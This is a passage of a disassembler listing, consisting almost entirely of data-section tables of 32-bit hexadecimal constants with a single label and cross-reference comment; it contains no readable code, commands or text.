		dd 94B56E20h, 25D84A86h, 0C748C5Dh, 15671B4h, 50CA0132h
		dd 3E907DE9h, 85BB6123h, 0F05F4104h, 0C8E28100h, 5176C25Eh
		dd 7C5AF206h, 700C789Eh, 7559149Bh, 0B3A76329h,	0EF368F8h
		dd 66905312h, 0C386BDFDh, 12691A8Fh, 224255B9h,	8E61587Fh
		dd 8368162Ah, 1613F32Ch, 0C3B75CE2h, 122ED951h,	6CE2FB00h
		dd 5D48ECA6h, 0DCC1A485h, 0C9342244h, 0E3C0EEFAh, 0C45EE23Ah
		dd 0CEEB706Eh, 68510001h, 43930ABAh, 1EE92759h,	4FDF1FE8h
		dd 174E98F0h, 8C9EBDE9h, 0D22561D0h, 5203B2A0h,	0C212AE25h
		dd 0D4ED71Ch, 0F635E918h, 0FAEAC030h, 471E680h,	2C5AD028h
		dd 90A8C219h, 0C9F0F177h, 2300D8C4h, 390578DEh,	2533D57Eh
		dd 26C297E9h, 0A5EFE176h, 0B3EA92A0h, 0D33A8533h, 0E884D7D4h
		dd 0DBA5EC0h, 7E7C69A1h, 5DDA2363h, 0CE768783h,	2C44911h
		dd 98F3301Ch, 14E908DEh, 0C5237F60h, 7BCD664Eh,	2FD15869h
		dd 0A9C4AC4Bh, 0C05C8F20h, 172BF541h, 0D0C018EBh, 7B226F9Bh
		dd 21B40935h, 7FD62303h, 42770D00h, 20E92B26h, 68053C40h
		dd 172C2098h, 0AA5664C1h, 0C1CDD952h, 0B26A5874h, 683E10D0h
		dd 200EBA02h, 13F55381h, 0BB30BF3Ah, 9F0158FDh,	9E95060h
		dd 96348E95h, 9E20A5B1h, 70408124h, 6BD4ADEEh, 0DC533F74h
		dd 588C4B32h, 9B411F6Dh, 0A1F77D5Fh, 6E924A89h,	0F355B406h
		dd 9332C202h, 7F9757E9h, 0ACF48F25h, 0F6052774h, 2520AC5Dh
		dd 0E9DE015Fh, 7C7FEC6Ah
		dd 0FA6E48B0h, 0D9A60245h, 0A06D75A2h, 0C1E654A7h, 7E642668h
		dd 0FA4FCF8Bh, 9A09FF52h, 60435C25h, 5D4E6857h,	44BBFB95h
		dd 3080753Ch, 90A16266h, 0CCE33BD9h, 22325875h,	4B3AC506h
		dd 5D28182Ah, 0EEB0F835h, 5FDAA70Bh, 0F4CD42BFh, 2A72594Bh
		dd 6856A207h, 381574F0h, 0FCCCB05Eh, 0E2C5001h,	7FF4B76Dh
		dd 271B9860h, 96779560h, 0FAD782F8h, 41515C03h,	77928C39h
		dd 176EFD3Eh, 0F4B8FE7Ah, 2C2314B2h, 4D1E2428h,	1A0127C3h
		dd 0F8E0C680h, 0A491AFB9h, 0BD1CDC25h, 0E8B7D792h, 98BEE465h
		dd 5EB8FE82h, 2E3FE520h, 602725E9h, 7B330ED6h, 69D7F726h
		dd 5D012609h, 682D1FE4h, 0D7A24966h, 2B6CE955h,	5F0BCABDh
		dd 89572781h, 9B927F89h, 263A64D7h, 52D95E61h, 1630E15Ah
		dd 0A2E31D2Ah, 6FB62F03h, 2788FF2h, 89239016h, 0BD04BDC7h
		dd 9FDA75Fh, 0AD25BB1Dh, 0E93A14B1h, 8D54CC87h,	0FEC22DCCh
		dd 0E88459BAh, 5CB5B08Ch, 3DB40D05h, 0DEF848A0h, 3CEAE060h
		dd 4F984686h, 5D7B8D09h, 8ABF048Eh, 438ACDEAh, 0A70077FDh
		dd 0E4C01CB4h, 7DEC8003h, 0D28D7629h, 16FC0F6Eh, 8E02DFDCh
		dd 0D1075FC2h, 200FC95Ah, 0AE81E1E4h, 131829A4h, 0BE6AB252h
		dd 0CC999A91h, 0F43A73Eh, 0C682EB80h, 6CC6DC4Dh, 0C690365Bh
		dd 63BEFC5Fh, 11E25499h, 0B1515A68h, 0C980E200h, 0F6F18625h
		dd 6C08DEDEh, 3AFE1F58h, 45389B1Ah, 0F954135Fh,	0C29C719h
		dd 9CC7B0D7h, 0C0A96EE3h, 0CF20CE4Ch, 4E8EBE01h, 0EEC11308h
		dd 330D70D2h, 810BDEF7h, 0AB1CEFD8h, 8E9A113h, 92FEE2C4h
		dd 0EBD0C5EAh, 315C5895h, 58541CA1h, 0FE5DE221h, 0FAE46F48h
		dd 0C1E7FC99h, 632B21EBh, 9C48842h, 0E80110C0h,	8106D4B0h
		dd 4E5FDB28h, 17F6F09Bh, 0E87BCF2Bh, 635E3040h,	0C03FB1E9h
		dd 6547EBF7h, 7A9D31F4h, 5E088360h, 9E46BE1Ch, 533C289h
		dd 0C8A1B0C6h, 59B1BF03h, 792108F4h, 0D404B053h, 0CB0E3704h
		dd 0EAB7FE6Eh, 764647C0h, 0CDD8E7D7h, 8C283CD8h, 25D345ACh
		dd 0D42D73D4h, 0B03C7811h, 0CF1620DCh, 1E5CE306h, 0DF6197FDh
		dd 2002FBB4h, 0B33551BFh, 0C635E67h, 0E60CD26h,	0F5BB2360h
		dd 58F668F4h, 0EF3F1908h, 1C5F0B19h, 0E7E83A2Dh, 0EE75F05Ah
		dd 3EA04605h, 0ED19F187h, 16D98108h, 0B7C15FF8h, 0A4ACEEFBh
		dd 0C9B7B80Dh, 534CB07h, 8A2805FBh, 6ED7CD53h, 57B22AB8h
		dd 4D6F13E0h, 81353238h, 22964231h, 9A352DE9h, 0CCB0E06Ah
		dd 4BE781A0h, 0FB83D3DDh, 0B0A6372Bh, 716EC8C1h, 4D0CC120h
		dd 2A96659Fh, 0E90CCBBDh, 5DA2E291h, 0A30ABF04h, 94BB6E7Fh
		dd 960EE907h, 4158C2FFh, 5B122FF0h, 8304D488h, 0EE13F1BFh
		dd 2D3C5DC1h, 0B50B27Bh, 5704E468h, 28981EB0h, 0BE26A901h
		dd 0D956D76Ch, 52F6A03Eh, 5C4FC098h, 51958D37h,	0C502D1BFh
		dd 46B42B58h, 5C17CBA1h, 4DDA5C0Bh, 2551565Ch, 5223F6F6h
		dd 4399EEA2h, 0E1FEC125h, 0F17D30CFh, 66FE5C09h, 6828B250h
		dd 1220B4EFh, 105D1D9Dh, 2350075Ah, 62C988B2h, 4070AFA1h
		dd 3B1114C0h, 6D041B5Ah, 0F812E3FBh, 60371854h,	1ED0F635h
		dd 0D241AB6Fh, 16BDBC76h, 0D9AB5F54h, 0EB442FDEh, 0C9AA77A9h
		dd 7D42F6F2h, 3E4DB0FDh, 0BD51825Ch, 1BDB8125h,	0F52E76A1h
		dd 2C28D511h, 6049E215h, 97FECD71h, 2F080011h, 315A1007h
		dd 623502D9h, 2CC320FEh, 0D15FF2FCh, 0F81A1E0Eh, 3C8BEE1Bh
		dd 0BECE1C37h, 638797C0h, 50C454Dh, 0D4BFB07h, 0B41160A6h
		dd 2D2BB036h, 105E2867h, 90878C4Ch, 26AE6A3Dh, 14EC0E8Ch
		dd 0DC357A43h, 0E1B80B4Eh, 0AFC2C813h, 614AF08Bh, 2F477F98h
		dd 402930D8h, 0F57288CAh, 5D59EB2Ch, 7D7CE30Eh,	0C4ACECD6h
		dd 27D29870h, 5B94ED1Fh, 0D441EF47h, 0F4068D32h, 0AC4FEF8h
		dd 0D0B3A01Eh, 0F6F2F380h, 975366DBh, 712FE572h, 35147D5Ah
		dd 6E454B01h, 0E4BAE902h, 0EC25C022h, 9108EF7Bh, 9C5D27B3h
		dd 0F1D3B505h, 0DF23E962h, 0ACB0027Ah, 503B7A9Fh, 419B95Eh
		dd 0E97CC874h, 0F6A2F0D2h, 0BA8CD74Bh, 8B985CB4h, 0B77420h
		dd 4428A96Ch, 503A9A27h, 3DBFF4Bh, 4370217Eh, 5031FB87h
		dd 92B333B4h, 0B5518950h, 9C96FC9Ah, 0CD5C2578h, 49DC975Ch
		dd 0FEB5C161h, 0DAB2B36Bh, 0AD18C032h, 40FF83EAh, 393B314Ch
		dd 0DA5A3AF6h, 2CAA526h, 3D700E62h, 0F15ED1F7h,	23088403h
		dd 575AAA46h, 334A0962h, 0E2DB5977h, 95DF1E9h, 0D871D556h
		dd 98571EA5h, 0BA9FC147h, 6BB1697Eh, 0FCAE54C4h, 0FE825E9Ch
		dd 0AF425557h, 25C2FEF6h, 69055ED2h, 2D114EDDh,	17982E39h
		dd 10C294A5h, 54319268h, 0B49690Bh, 5B213E09h, 3D38B9E9h
		dd 76630C74h, 0E6764518h, 0B8EE3180h, 5DAE4011h, 0D248E4FAh
		dd 3B79E4Eh, 0B2F198B5h, 8516126Fh, 629BFE79h, 226A4E51h
		dd 3F7EA8D1h, 7F057424h, 0BFE0E51Dh, 5D879F04h,	2F6991C6h
		dd 93EE906Ah, 11352D03h, 0ACD10A88h, 477734B6h,	10794078h
		dd 68E1D4B6h, 0E76C317Bh, 0AF7508C5h, 0F8503449h, 0DB1B204Ah
		dd 90FB5E65h, 883056E1h, 89A7C47Ch, 5BBCB10h, 0C550E95Bh
		dd 1D37A5C8h, 8136FB05h, 0A438A8CEh, 5E176049h,	7D8B4212h
		dd 3CDD40AFh, 96D249Bh,	7BE9F517h, 1C5F3549h, 0BECE4F23h
		dd 0AA823C27h, 4923DADFh, 40708434h, 5B0E5911h,	0E9EC580h
		dd 0B2EDAEF5h, 44FA4395h, 0B3234202h, 0B65280DBh, 0E4EE80E4h
		dd 7E33702Ch, 8441E9F0h, 0BE05D9C0h, 0A107F20Bh, 2896EC4Ah
		dd 0A6F70805h, 14165813h, 2EC522FBh, 0F0314D48h, 8998C6E4h
		dd 60419212h, 0E9FE1A02h, 0F1595818h, 0F7BB316Bh, 47EC3B14h
		dd 8363C2A4h, 0E4FA5C05h, 73134D32h, 1D083C71h,	0F52107EDh
		dd 2FFD865Eh, 0C1B0E397h, 0D96AE044h, 46C900D3h, 5EC9F832h
		dd 5B3DA588h, 5EF98BABh, 0C7152EE5h, 9015F7BBh,	45610285h
		dd 0C1291DDEh, 176A7F72h, 566BD6Eh, 702557F4h, 76EAB2FBh
		dd 90D7C94Bh, 0A3BE14A4h, 2456D437h, 0F888FC9Dh, 55093D27h
		dd 4971FEE1h, 21742B08h, 3AF101DDh, 6A27C8A9h, 2AB941A1h
		dd 47A75BACh, 19D5DB4Fh, 7DC52915h, 0BCE28BE9h,	4176B07Ah
		dd 611620BDh, 0E1CE6B24h, 67C00217h, 9D01F368h,	90F2698h
		dd 0D918AB2h, 94D27112h, 0F16C75E3h, 1FB8EB05h,	0B1BB791Dh
		dd 0BA080467h, 0C9D190E3h, 0F464FED7h, 6952C082h, 7DC02C84h
		dd 3BC99D5Eh, 9145F41Eh, 7BD7215Ch, 0E9C3DF54h,	2F0B8C25h
		dd 5F78C504h, 356280BEh, 44488365h, 1C820628h, 0B1824E8h
		dd 0E684DEDh
dword_4F0044	dd 35082A7Bh, 0F1672D38h, 0FB955DA8h, 10C501D2h, 3A23024Eh
					; DATA XREF: ___:0042CC8Co
		dd 805E2F5h, 681FA4EFh,	79060A26h, 97FB8BC5h, 0EA137F97h
		dd 6802E1CEh, 4D0774D4h, 0E908F148h, 0A3C86733h, 8EEBB9F8h
		dd 71BD0E80h, 8178170Ch, 9949E538h, 18E4C30h, 38E9538Ah
		dd 92529DF7h, 0E83F4E0Ah, 4D9121B8h, 71782700h,	0F084EBD5h
		dd 6A9B8A5h, 8E0F5A6Dh,	0BFEC2903h, 0C281CB06h,	6E136FA6h
		dd 0BE001D8Ah, 43E59868h, 7C9FB2A0h, 0E0660CCEh, 8BA17EF3h
		dd 3DC0FA02h, 3C1396C3h, 0F04D00B3h, 7FDEE745h,	2023B730h
		dd 4808A54Dh, 98138C42h, 43E91C29h, 57F88B60h, 0A9DF5002h
		dd 0D4615B6Fh, 830C1803h, 1200FB49h, 7C46A794h,	27E21640h
		dd 498E2B51h, 59575BA9h, 850F0961h, 56963A63h, 8FBBCB3Ch
		dd 0A0A7AF16h, 0F117E633h, 12B100F3h, 75D27D40h, 89008F57h
		dd 0E2EE853Bh, 7834411h, 0E15372ACh, 3319C0C2h,	410113B9h
		dd 2179AAF7h, 518A8997h, 0DE04A827h, 5D131618h,	0A78F10h
		dd 0BCF0E2DCh, 0A8290CB4h, 4C9D1C00h, 30167F7Ah, 34870690h
		dd 29DB328Eh, 0E11C842h, 854214Bh, 0DC90D91Bh, 44589B84h
		dd 515D8E88h, 0DF8872D7h, 57693F6Bh, 0C7B99300h, 0B2D7BE3Dh
		dd 1B12F000h, 0E1B1A568h, 48755Fh, 0F83E2E44h, 4B7179CAh
		dd 9E8DA601h, 0D7DC29D5h, 77214AD4h, 0E18E000Dh, 6978B8F2h
		dd 0CF03C112h, 7FA215B3h, 5D81C04Eh, 41EE14h, 42F372E4h
		dd 65ABDB2Fh, 87018570h, 0C40E5401h, 3A20D07Bh,	66F800A3h
		dd 7DF23A18h, 12000F2Fh, 15C219B5h, 3975A6Fh, 8E8B9311h
		dd 748817EFh, 0C078AFF4h, 70006E70h, 0F0F74A18h, 9B0575h
		dd 0D72CB873h, 0A9E892D6h, 4BFA310Ch, 47189Ch, 58686165h
		dd 6BBEBAA4h, 0F7019DFEh, 1144B123h, 0A8E0D0DAh, 0C67A09h
		dd 39350C7Dh, 9FD142B4h, 11A4403h, 90306F25h, 5D6A80h
		dd 3B221578h, 757416B5h, 64BC2307h, 0AA70D2EDh,	434D18h
		dd 9D04C33h, 0A538125Dh, 20825A00h, 17A0217Ch, 0D9720063h
		dd 0AE3F550Dh, 3C48435Bh, 7040028h, 0B7B2790Eh,	6229005Dh
		dd 14D6EBF2h, 8C003F1Eh, 38545C8h, 759D96Ch, 0ED9CE1C2h
		dd 0BA5F1015h, 790FC3A1h, 0C0FBF84Ch, 0C5F0C7B7h, 0A4DCA08Dh
		dd 3961C0Ch, 8146807Ch,	0D9267A5Ch, 70134E00h, 0F7D5CAD0h
		dd 0AD100793h, 0E13F9A12h, 0C456FF45h, 0C70162DEh, 1C792909h
		dd 72803B9Eh, 0CA7FDB3Dh, 0FA06982Ch, 41489B69h, 1177F8h
		dd 45046EE5h, 0CE03ACD5h, 9F354712h, 3B149400h,	0B04D27h
		dd 811D5749h, 44F28B96h, 0F6400401h, 456F3FD8h,	0EE55BFECh
		dd 0AD003F5h, 0B87B1013h, 6A31A0F7h, 221FA686h,	23C3DDACh
		dd 0B873791Ch, 0DEA49C09h, 0C221C0B0h, 1556A7ECh, 31E9751Fh
		dd 13D4A2C0h, 0E449A830h, 0E424E776h, 2EAE00DAh, 155E5F86h
		dd 1800C503h, 2CB3D272h, 7BC375DBh, 6F520F62h, 15202E84h
		dd 0CA8CC220h, 1A855900h, 0E2C68E91h, 836C02BAh, 0BB3A22C9h
		dd 647709C0h, 0E5BD2D07h, 58C6F913h, 787F6530h,	1BC830D2h
		dd 0A3011623h, 0BCEEE342h, 5280252Fh, 0D8D2861Fh, 0D31DA9E5h
		dd 630072BEh, 0DB30C4E8h, 765200D4h, 89F175A8h,	0BF0337D7h
		dd 0D83D8AD6h, 0A791F077h, 97ABBh, 0CDE0F394h, 12595FB5h
		dd 7B605A00h, 1B4223E6h, 8FF0009Eh, 0B0B4A566h,	6700AD01h
		dd 0C85875B8h, 0A62787h, 0CBEAF01Ah, 0BB32457h,	0FEE31C00h
		dd 0FDE2BD78h, 8640C19Dh, 0F8930F41h, 0E6000723h, 0B22FA475h
		dd 30F0F517h, 0B6F996EEh, 8200941Bh, 13E47463h,	0B031C4D1h
		dd 0F5221EB7h, 0CC5CC0B8h, 0E1DA397Bh, 0EB51CE00h, 598044B2h
		dd 0F46A0177h, 2BBCC50Fh, 3EE1C405h, 2F0095E0h,	0C1A78CD3h
		dd 0EBE24h, 48C7EEECh, 8310B8D5h, 54439A01h, 0C4C9F6E7h
		dd 15B2F041h, 6BEC1EC1h, 69E338D9h, 1BA16E24h, 598820A7h
		dd 0CF0B3EF4h, 3162607h, 0B0113418h, 0E8CDBEh, 0C4F7E29Fh
		dd 237A64B2h, 4B511804h, 388017B6h, 4E411Fh, 594C9C7Ch
		dd 3EC07A6Eh, 79B7EB00h, 0A0BEEC9Dh, 0DD5C1CC2h, 3A6137Bh
		dd 595A8C98h, 0E6D461C8h, 73004877h, 9C9F4367h,	1F78DFEh
		dd 71F833B4h, 0E40768A0h, 66164B79h, 0C20031FAh, 0EA76691Eh
		dd 0AA1001F5h, 68481464h, 0B0BC20A6h, 80CD1901h, 0DD7B1A42h
		dd 0CB1CD4h, 215E9D14h,	6CEA3305h, 5500DC9Ah, 34357B13h
		dd 4D9ADD2h, 85CE6A12h,	0B0C0C7FDh, 1FB209A3h, 0CCB8741Ch
		dd 0E0FC8DCEh, 0CAE117ABh, 84541D9Ch, 0A50E0013h, 0BD185A47h
		dd 0D829AE01h, 1EB0F942h, 57D2D4h, 3D8F5CCAh, 0D0D9888Ah
		dd 0DC608609h, 8744A78Bh, 30004274h, 971C7413h,	2EB19500h
		dd 86E3CD9Ah, 54EE0078h, 15D80BFh, 0E000BD9h, 55BE6ECEh
		dd 4CC776E8h, 0B300CC29h, 0C42308F6h, 0DCA8D4CFh, 390074A0h
		dd 0F27695F9h, 1C095AACh, 80431EA1h, 6B6E84BDh,	0E4009CA4h
		dd 0F961CB40h, 72BC35DFh, 0DC370094h, 0E32C4448h, 0A4173D5Bh
		dd 802218Eh, 609E1A93h,	0CE56DFh, 0FFC92D67h, 73F580D8h
		dd 5A548D0Eh, 0DD2BE026h, 0B3CACBh, 7E11BB21h, 0D0606DC0h
		dd 0BC7B0F7Dh, 0C1FFD400h, 0BF3ADA6Ah, 9DB7003Dh, 8F439E8Eh
		dd 0A037330h, 1EDE5BD1h, 9925E060h, 0A67E0006h,	0C376DB3Ch
		dd 28776D2Fh, 30BB6600h, 0A550AB8Ah, 0CE930006h, 150AD575h
		dd 0D000E831h, 139DBC45h, 38ED691h, 0DB3B7B33h,	6A48151Bh
		dd 43B80090h, 0EB662D51h, 16203822h, 0BA0348D9h, 897CFE82h
		dd 3DD0F78Bh, 60FE14ECh, 49A1B100h, 0F6F34E73h,	341100BDh
		dd 3BA28630h, 89586145h, 8050384Ch, 842D13DAh, 40A417h
		dd 0DD37EC05h, 9BCE53D4h, 87970D00h, 5F225A51h,	65700408h
		dd 8058B91Ch, 39B41046h, 7F02BD00h, 488B0CF4h, 1660B022h
		dd 40600516h, 0DACB2904h, 0A1001BC7h, 0B2EE7324h, 788A05Ah
		dd 14402734h, 0D011340Dh, 2B547CFCh, 1A44D58h, 0E5E4D5CDh
		dd 99CC269Eh, 0DB73003Fh, 0ED3D1C14h, 6B1C79B1h, 7EA8EAh
		dd 0C73AA75Eh, 0B829BC3h, 0FA438CB9h, 8BD26B80h, 283EDC0Dh
		dd 695CB15Eh, 0A840642Bh, 75B4E9BFh, 3100177h, 0ACFAE179h
		dd 3D64D40Ah, 0F836F3Fh, 0EFCC89F4h, 497003Bh, 1D4831DCh
		dd 40F1EDD6h, 88A412A2h, 0A97B3399h, 649F0400h,	0C20809D8h
		dd 0E57300ADh, 44962657h, 2206869Ch, 0DA60B327h, 0F3A60011h
		dd 381C8FADh, 6701F53Bh, 54E4B178h, 22C485E1h, 2BFB00EFh
		dd 2ECB0DC1h, 4B00629Dh, 0AB2F69D3h, 6AD3Dh, 0F786D1FDh
		dd 2DAAF387h, 9C001C90h, 4A13B59Fh, 588406CFh, 7000E5F9h
		dd 646646ADh, 0EE00DD61h, 0D07123DBh, 447A68h, 7ACBD95h
		dd 0A1DAC763h, 140EF40Eh, 491D616Ah, 1C20985Dh,	3CE4037Ch
		dd 2234D416h, 8C9D4EF0h, 1043FA1Fh, 9FACFD00h, 0BE293Fh
		dd 14FEF835h, 0EB40D2D7h, 4C0C6001h, 2F102AA2h,	914BABD8h
		dd 0E6103D00h, 0F8F58089h, 31FC3h, 71D74227h, 0D65D0D75h
		dd 0FE1C5A7Eh, 2392049Ah, 2687FC00h, 61BBE2h, 316BD24Ah
		dd 84DD03BCh, 9177F100h, 83AA2E48h, 0CFF01Fh, 7F2627BEh
		dd 71B4820Dh, 43D46400h, 0D815B921h, 5EA6083Bh,	0B30038E6h
		dd 6A49291h, 0ACFF0E96h, 722F84h, 4990032Bh, 941E7C47h
		dd 0E4569D1Ch, 0AF0ECF00h, 86ED9Ch, 6C73EAD3h, 822F8B18h
		dd 2739EE77h, 0A220007Ah, 928E3F0h, 2C4E39C3h, 5225EF00h
		dd 42E210A0h, 0C0994Ch,	0E6FB40DAh, 6E5F17h, 0A1C8E18h
		dd 0EEAA1993h, 24A24B07h
		dd 4133167Eh, 0DC6CB05Ch, 35710338h, 0F4630619h, 8FE979C1h
		dd 0E0969419h, 3B5624A7h, 18B80020h, 0B0677926h, 7D078165h
		dd 903853A8h, 0EAACA201h, 6391A5F8h, 0B9E04130h, 6689E3A8h
		dd 0CBC4FB07h, 92F373A3h, 1646E00Ah, 30E6E4A4h,	63306D55h
		dd 20093E7h, 0EA6F2330h, 0DA4050h, 0B4CE9CCCh, 0A171E4A6h
		dd 3D6A3E00h, 0A49639E5h, 5A3100C0h, 0B5ECF4E9h, 0A6009389h
		dd 608C92AEh, 30DDA82h,	0DDF16227h, 68AE047Ah, 37959101h
		dd 4FB3C488h, 487FFCh, 0BCF93A5Fh, 1345B98Ch, 1E63A800h
		dd 7E0DDDBFh, 82D006Eh,	7AE9FC1Ah, 37004396h, 0A9EB6DB1h
		dd 4B739Dh, 0CFA055DDh,	0C52847F4h, 0F2BE6400h,	0BFCA1B77h
		dd 90CD00B0h, 99B568F7h, 22002B07h, 0B8122139h,	1DFD45h
		dd 461438DDh, 16303506h, 80521000h, 81BE7AAFh, 0FC900094h
		dd 0A5423B36h, 0E33D05D5h, 0B09BAC6Ch, 8FD28480h, 0E07FFh
		dd 95BAC9A4h, 936D2AA3h, 0FCA22C00h, 0B1274CC2h, 44AE0058h
		dd 777020A7h, 854992E5h, 0F12607E0h, 890FBBh, 1A1E7A14h
		dd 873800B3h, 81AAD9D6h, 0C7038408h, 2AC20B75h,	9FF6A8C1h
		dd 0BE3B00D3h, 7BF78BD7h, 0FD00E711h, 0ED73AB4Eh, 3500BBDh
		dd 6C1EFEF2h, 96A09E59h, 0FCE276ACh, 0E8A04601h, 980680A5h
		dd 42D1E0h, 499FEF94h, 0AB57A765h, 0CDAC3601h, 341B7A72h
		dd 0B1E0DCh, 396D47Ch, 925159BBh, 8B50C500h, 75A8284Eh
		dd 0D13100C2h, 59C6C455h, 28B89A7Ch, 0BDE5A900h, 0B728573Dh
		dd 819409B1h, 0B80069D9h, 0A8D1B64h, 9C72601h, 63DB4EF6h
		dd 386983FCh, 300B37Bh,	8C74577Dh, 2A00F094h, 0A3B6DAC5h
		dd 126959h, 0D59F4487h,	2065CF68h, 2C272300h, 18F22B86h
		dd 517515h, 74A44797h, 668FD3A6h, 9C41FCEFh, 0B5933A01h
		dd 0ADB4954Ah, 581020h,	0B67C9D3Bh, 43F93D0Eh, 784F8358h
		dd 8B0DBB09h, 1768E1A2h, 0F2A4A5C8h, 5B30009Ch,	14F6E321h
		dd 0A3002A3Ah, 5F6E74D8h, 0B5B48Ch, 0FDEC8527h,	0C6C73DCFh
		dd 1DF7A200h, 50AD4C11h, 0EE0B0052h, 0A51CFC0Eh, 60C180DEh
		dd 222404A8h, 7001A03Ch, 6C87616Bh, 369BD073h, 6E185063h
		dd 0E08AE3A3h, 637A0380h, 0B8A43121h, 43C9BCC8h, 0E9B6291Dh
		dd 4ECF1D01h, 21F87F7Ah, 6F023A44h, 37FA1400h, 2FC12503h
		dd 7D8578C1h, 0E9835D5Bh, 7683BBA5h, 0D2342BA0h, 0B02C4300h
		dd 0DF86A161h, 49106002h, 290198BDh, 0E371A800h, 6B0DB2E5h
		dd 57F70B8Eh, 8E012439h, 0D8CF8A13h, 5E0012FCh,	6118B31h
		dd 199545h, 0BC980F3Eh,	8ECC87B3h, 0F2009B7Dh, 95C4BB79h
		dd 64219Fh, 52441DA4h, 0F8FC6ED9h, 7828CF09h, 42070048h
		dd 0F5DCC8h, 66D1BE6Fh,	0FFB3F59h, 9C0BC700h, 0D368A06Ah
		dd 19F903B2h, 0CB756E8Ch, 0B48954B0h, 0E22BA300h, 0DA0DDCD5h
		dd 8F8C084h, 4BA07202h,	0B395A3Ch, 483A0157h, 81A79E64h
		dd 0F105D08Dh, 3056D638h, 2595213Bh, 0EA9C1862h, 0E7B31026h
		dd 0BA76720Ah, 57171CEDh, 0D802BB0Ah, 516982BDh, 0A09FA1C4h
		dd 0F9553EBCh, 1154600Dh, 0F7EA4728h, 27D2020h,	0B0F31BA8h
		dd 201382BCh, 55446549h, 2E073428h, 0E05050C0h,	0CA9C5D0Ch
		dd 700042A1h, 0F0D877A0h, 4334D7h, 0CF50DCB5h, 4A86A78Ch
		dd 847C4828h, 0BEE2C603h, 72D8BAh, 0D1FFAA10h, 40EC39Dh
		dd 0B1032F0Eh, 0A6021F81h, 43D7C6CFh, 40601038h, 0B43C7C49h
		dd 59881BB6h, 1C72FB10h, 0C37B19C1h, 6675F87Dh,	8F9EFAD0h
		dd 0F4930500h, 0EBDDFF3Ah, 2E678F7h, 0C3262085h, 0A880B989h
		dd 7E3260B8h, 0AA7A50C1h, 0B450F616h, 7C4652h, 0FDFF5B2Fh
		dd 0B9D4DB0Fh, 0C716EC0Bh, 715680DFh, 0A49972h,	0BC5B8A8Fh
		dd 4A2D05Ah, 0AE7F7B00h, 894CA60Ch, 0F87C0DF0h,	0F0D0EC02h
		dd 0FC015214h, 0C7DAD8A7h, 0C41FA1Eh, 0C2EDEBE6h, 1904D4h
		dd 0A63194A7h, 7E6BA376h, 0CC174095h, 2DA100CBh, 9A228A5Fh
		dd 51540E2Fh, 40EC82D8h, 78ABFC00h, 0F1D34A6Dh,	0F6FCAAh
		dd 0DA5AAEC3h, 264C01B3h, 81938A0Fh, 3AF8D4A6h,	273402CEh
		dd 0A2BE0358h, 0A0EA16ECh, 0A5B48784h, 8C590B7Ch, 0ED86F2BAh
		dd 5E00AE40h, 221BC524h, 3C7F3A2Bh, 6D1FD7D9h, 88D4072Eh
		dd 76855F27h, 1614071Ch, 97DBC7CDh, 0FD5C9081h,	900F802h
		dd 458C04D7h, 16329CD8h, 1FA0D1Eh, 259A509Fh, 38EDF018h
		dd 7C2B2E1Ch, 7DD68500h, 511E40h, 0B363BFFDh, 0CE1BB7Fh
		dd 181C2800h, 24755487h, 0C825185Bh, 0CA402066h, 6ED1EE0Ah
		dd 0FB702084h, 4A0E8C25h, 4C91C819h, 53889Dh, 88BD3944h
		dd 0CB31B33Fh, 0D6D9B0C0h, 37F4FC30h, 803E8911h, 0D81E4876h
		dd 2E608100h, 2410F82Ah, 0C0E20020h, 842FBC08h,	0E11AD086h
		dd 32813D9h, 0C823FCAAh, 2A3942h, 0ECDEAD95h, 86DC99C6h
		dd 0FE2680CFh, 9F209106h, 42580010h, 82F8FB2Bh,	0E4601DB3h
		dd 854C7D90h, 0DE313E45h, 611AB198h, 760C108Ch,	28C439B3h
		dd 9051512Ch, 0F6A00E2h, 0C900BB47h, 0D4E58ACh,	18E7A6D6h
		dd 40D174E1h, 65E6FC1Eh, 0F1E20600h, 0D88F7E88h, 611260D9h
		dd 0A43B3857h, 61CD0A1Ch, 0DFA74140h, 6FB5B8Bh,	712C6BCBh
		dd 73A0488Ah, 0B001121Fh, 52EE2A08h, 0E3E025h, 0F21E6688h
		dd 0DA747081h, 0C9B879C0h, 0C5124FEh, 591A15C0h, 21C0ED09h
		dd 32FED118h, 0CE7C0EB5h, 0FFE16DF4h, 8194711Bh, 53696471h
		dd 0EDC0252Ch, 0EAA1F19h, 3FFF87B0h, 3101D745h,	0C103EE3Ah
		dd 0A380911Ch, 21FEC680h, 448CD851h, 0CE031DECh, 76B16DFEh
		dd 0B0C97A77h, 0D49751BAh, 60500EF0h, 5119E10Ch, 6250C405h
		dd 7B24D778h, 52871834h, 288C6084h, 0A1DC0080h,	7079F6D3h
		dd 8A09412Ah, 0B846C9h,	943BBD28h, 22213D05h, 0BC18C080h
		dd 0CEECC531h, 903AE10Ch, 3B53A1D9h, 400C754h, 0F91826F7h
		dd 0B800AB76h, 0F4329549h, 54D9D4D7h, 1F3EE41Bh, 0BA754423h
		dd 9B349D0Fh, 806A08B9h, 442AD921h, 746EBD2h, 0E3A20E29h
		dd 0CF7433D1h, 9EDD7100h, 0EE99803Dh, 705D15F8h, 0E22EC493h
		dd 0AB2100B9h, 62CEDC1Ah, 1DEE9A00h, 0C1A66FBEh, 0C0AF00B3h
		dd 0BAECB21h, 25486145h, 0F0680064h, 43FED6DCh,	9C88D019h
		dd 3D592908h, 9B00DFACh, 0BBD0C8CAh, 0CCBF7B7Dh, 7F212C08h
		dd 0A99B2D00h, 7BA63E8Fh, 0C6760F4Eh, 0DC6C3B33h, 203FEB9h
		dd 0C9B2B5FFh, 902AC267h, 89B2430h, 0BC28C8CBh,	7E403864h
		dd 22AE9B2Ah, 283F841Ch, 0A00CE749h, 0B3F7681Ch, 73A0A80Eh
		dd 9671C0D0h, 8B47D760h, 418C9200h, 44C6D18Fh, 31D60567h
		dd 40837029h, 5B75A19Ch, 6C0F7A22h, 1902DC38h, 21808E08h
		dd 365B6EC4h, 6C98683Ch, 66B40510h, 949A1C78h, 0FDFC8717h
		dd 5290802Ah, 9B165F49h, 3EB9DDBh, 17D9CBA1h, 85CA100h
		dd 2CF7AF88h, 74C700F1h, 933EDB26h, 1D500964h, 33F01C8h
		dd 2FC4D4F9h, 9ADD1C8Ch, 88C051C8h, 27718036h, 0C7C2309Bh
		dd 72D43B00h, 0A92D52A5h, 0E7B0C608h, 0FE0E8914h, 208D1E89h
		dd 0F2C55F21h, 31DB15DAh, 76808C2Ch, 0A47A215Bh, 6FC30387h
		dd 0C6A8725Bh, 0B0B81089h, 0CBF01800h, 5992543Ah, 0E99C032h
		dd 0DC7F588h, 0D3282B09h, 0B2CC006Eh, 3C7F9152h, 590769C6h
